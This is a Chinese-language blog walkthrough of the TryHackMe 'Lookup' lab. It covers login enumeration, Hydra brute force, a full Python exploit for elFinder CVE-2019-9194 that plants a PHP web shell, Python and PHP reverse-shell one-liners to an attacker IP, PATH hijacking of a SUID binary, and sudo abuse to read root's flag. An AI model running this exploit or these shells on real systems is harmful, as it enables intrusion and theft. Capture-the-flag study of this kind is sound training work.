> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Lookup writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-lookup-writeup-zh-tw/
- Published: 2025-10-16T10:28:25.000Z
- Updated: 2026-07-15T02:49:59.000Z
- Author: Kevin Chen
- Tags: tryhackme, web

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: Lookup
- **難度**: Easy
- **目標**: 獲取 User Flag 和 Root Flag
- **連結**: [https://tryhackme.com/room/lookup](https://tryhackme.com/room/lookup?ref=taiwanding.com)

## 偵察階段

### Hosts 配置

```bash
sudo bash -c 'echo "10.201.21.100    lookup.thm" >> /etc/hosts'

```

### Nmap 掃描

```bash
nmap -Pn -sV -sC -p 22,80 10.201.21.100 -T4

```

**掃描結果：**

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open  http    Apache/2.4.41 ((Ubuntu))

```

### 目錄枚舉

```bash
gobuster dir -u http://lookup.thm/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -t 20 -x php

```

**發現的路徑：**

- `/index.php` \- 登錄頁面
- `/login.php` \- 登錄處理腳本
- `/styles.css` \- 樣式表

### Step 1: 用戶枚舉

發現漏洞

訪問 `http://lookup.thm` 發現登錄表單。測試後發現：

**測試不存在的用戶：**

```bash
curl -X POST http://lookup.thm/login.php \
  -d "username=test&password=test"

```

回應：`Wrong username or password.`

**測試 admin 用戶：**

```bash
curl -X POST http://lookup.thm/login.php \
  -d "username=admin&password=test"

```

回應：`Wrong password. Please try again.`

**關鍵發現**：錯誤訊息不同！這意味著可以枚舉用戶名。

### 枚舉用戶

使用 burp suite intruder 枚舉存在的用戶：  
記得先固定密碼，後來爆破用戶名

![](https://taiwanding.com/content/images/2025/10/image-5.png)

**發現的用戶：**

- `admin`
- `jose`

### Step 2: 密碼爆破

使用 Hydra 爆破

針對 `jose` 用戶進行密碼爆破（admin 通常較難）：

```bash
hydra -l jose -P /usr/share/wordlists/rockyou.txt \
  lookup.thm \
  http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" \
  -t 16

```

**成功！**

```
[80][http-post-form] host: lookup.thm   login: jose   password: password123

```

### Step 3: 發現隱藏 Subdomain

登錄後的發現

使用 `jose:password123` 登錄後，被重定向到：

```
http://files.lookup.thm/elFinder/elfinder.html

```

**關鍵發現**：

1. 存在隱藏的 subdomain：`files.lookup.thm`
2. 使用 **elFinder 2.1.47** 文件管理器

更新 Hosts

```bash
sudo bash -c 'echo "10.201.21.100    files.lookup.thm" >> /etc/hosts'

```

查看重要文件

在 elFinder 中發現多個文本文件，其中最重要的：

**credentials.txt**

```
think : nopassword

```

**thislogin.txt**

```
jose : password123

```

### Step 4: 漏洞利用 - elFinder CVE-2019-9194

漏洞資訊

- **CVE**: CVE-2019-9194
- **影響版本**: elFinder <= 2.1.47
- **漏洞類型**: Command Injection (命令注入)
- **Exploit**: https://www.exploit-db.com/exploits/46481

漏洞原理

elFinder 在處理圖片旋轉時會調用 `exiftran` 命令，而文件名沒有正確過濾，導致命令注入漏洞。

準備 Exploit

**Python3 版本的 exploit 腳本：**

```python
import requests
import json
import sys

# This is python3 version of exploit from: https://www.exploit-db.com/exploits/46481
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# CVE: CVE-2019-9194

payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'

def usage():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py [URL]")
        sys.exit(0)

def upload(url, payload):
    try:
        with open('SecSignal.jpg', 'rb') as f:
            files = {'upload[]': (payload, f)}
            data = {"reqid": "1693222c439f4", "cmd": "upload", "target": "l1_Lw", "mtime[]": "1497726174"}
            r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
            j = json.loads(r.text)
            return j['added'][0]['hash']
    except Exception as e:
        print(f"[!] Upload failed: {e}")
        sys.exit(1)

def img_rotate(url, hash):
    r = requests.get(f"{url}/php/connector.minimal.php?target={hash}&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c")
    return r.text

def shell(url):
    r = requests.get(f"{url}/php/SecSignal.php")
    if r.status_code == 200:
        print("[+] Pwned! :)")
        print("[+] Getting the shell...")
        while True:
            try:
                user_input = input("$ ")
                r = requests.get(f"{url}/php/SecSignal.php?c={user_input}")
                print(r.text)
            except KeyboardInterrupt:
                print("\nBye kaker!")
                sys.exit(0)
    else:
        print("[*] The site seems not to be vulnerable :(")

def main():
    usage()
    url = sys.argv[1]
    print("[*] Uploading the malicious image...")
    hash = upload(url, payload)
    print("[*] Running the payload...")
    img_rotate(url, hash)
    shell(url)

if __name__ == "__main__":
    main()
```

執行 Exploit

**重要**：必須使用**真實的 JPG 圖片文件**，不能用文本文件！

```bash
# 1. 使用真實的 JPG 圖片
cp /path/to/your/photo.jpg SecSignal.jpg

# 2. 確認是真正的圖片
file SecSignal.jpg
# 輸出：JPEG image data

# 3. 運行 exploit
python3 exploit.py http://files.lookup.thm/elFinder

```

**成功獲得 webshell！**

```
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data

```

### Step 4.5: 建立反向 Shell

設置監聽器  
雖然已經獲得了互動式 webshell，但為了更穩定的操作，嘗試建立反向 shell：

```bash
# 在Windows Powershell開啟監聽器
ncat -lvnp 4444
```

### 嘗試反向連接

在 webshell 中執行反向 shell payload：

```bash
Python 反向 shell
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.90.144",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

# 或 PHP 反向 shell
$ php -r '$sock=fsockopen("10.13.90.144",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

結果  
成功建立 reverse shell

### Step 5: 橫向移動 - PATH 劫持

查找 SUID 文件

```bash
$ find / -perm -4000 -type f 2>/dev/null

```

**關鍵發現**：

```
/usr/sbin/pwm

```

分析 pwm 程序  
運行 `/usr/sbin/pwm` 後發現：

- 程序會調用 `id` 命令獲取用戶信息
- **關鍵**：調用 `id` 時沒有使用絕對路徑
- 根據用戶名讀取 `/home/{username}/.passwords` 文件

PATH 劫持攻擊

```bash
# 1. 創建假的 id 命令
$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' > /tmp/id

# 2. 給予執行權限
$ chmod +x /tmp/id

# 3. 修改 PATH（將 /tmp 放在最前面）
$ export PATH=/tmp:$PATH

# 4. 運行 pwm
$ /usr/sbin/pwm

```

**成功獲取 think 的密碼列表！**

```
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
...
josemario.AKA(think)  ← 注意這個！
...

```

### Step 6: SSH 登錄獲取 User Flag

密碼分析  
從密碼列表中，最可疑的是：

```
josemario.AKA(think)

```

名字中包含 "think"，很可能就是 SSH 密碼。

SSH 登錄

```bash
ssh think@10.201.21.100
# 密碼：josemario.AKA(think)

```

**成功登錄！**

獲取 User Flag

```bash
think@ip-10-201-21-100:~$ cat user.txt
Redacted
```

### Step 7: 提權到 Root

檢查 Sudo 權限

```bash
think@ip-10-201-21-100:~$ sudo -l

User think may run the following commands on ip-10-201-21-100:
    (ALL) /usr/bin/look

```

可以使用 sudo 執行 `/usr/bin/look` 命令！

利用 look 命令  
`look` 命令用於在文件中搜索以特定字符開頭的行。

參考：[GTFOBins - look](https://gtfobins.github.io/gtfobins/look/?ref=taiwanding.com)

### 讀取 Root Flag

```bash
# 使用 for 循環嘗試所有數字
think@ip-10-201-21-100:~$ for i in {0..9}; do sudo look $i /root/root.txt; done
Redacted

```

## 技術要點總結

### 1\. 用戶枚舉漏洞

**識別特徵**：

- 不同用戶的錯誤訊息不同
- "Wrong password" vs "Wrong username or password"

### 2\. elFinder CVE-2019-9194 命令注入

**漏洞原理**：

- 圖片旋轉功能調用外部命令
- 文件名未正確過濾
- 可通過文件名注入命令

### 3\. PATH 劫持 (SUID Exploitation)

**攻擊條件**：

- SUID 二進制文件
- 調用外部命令時未使用絕對路徑
- 可控制 PATH 環境變量

### 4\. Sudo 濫用 - look 命令

**檢查命令**：

```bash
sudo -l

```

**參考資源**：

- [GTFOBins](https://gtfobins.github.io/?ref=taiwanding.com)

**利用方法**：

```bash
sudo look [char] [file]  # 讀取以特定字符開頭的行

```

## 經驗分享

### 關於Step 1: 用戶枚舉:

這一步其實前面花了非常多時間，因為題目的前言有提到要找到隱藏的domain，所以在開始暴力破解帳號密碼前，利用gobuster掃描了vhost，但都沒有結果，也用gobuster做目錄爆破，同樣沒有太多結果，才會往登錄的介面著手檢查漏洞，但這裡又卡了一些時間，檢查有無sql注入等等，最後發現可以枚舉使用者，也成功找到使用者jose。

### 關於Step 4: 漏洞利用 - elFinder CVE-2019-9194:

不確定為何在使用searchsploit提供的exploit腳本，花了非常多時間，了解怎麼使用，但始終無法突破，最後在github找到一個版本，也有提供使用的方法，使用的方法很重要，因為這種滲透腳本一定要了解方法，才知道怎麼用，可參考:

[TryHackMe/Lookup CTF/elFinder\_2-1-47\_exploit\_python3.py at main · cyvorsec/TryHackMeTryHackMe rooms Write-Ups. Contribute to cyvorsec/TryHackMe development by creating an account on GitHub.![](https://taiwanding.com/content/images/icon/pinned-octocat-093da3e6fa40-4.svg)GitHubcyvorsec![](https://taiwanding.com/content/images/thumbnail/TryHackMe)](https://github.com/cyvorsec/TryHackMe/blob/main/Lookup%20CTF/elFinder%5F2-1-47%5Fexploit%5Fpython3.py?ref=taiwanding.com)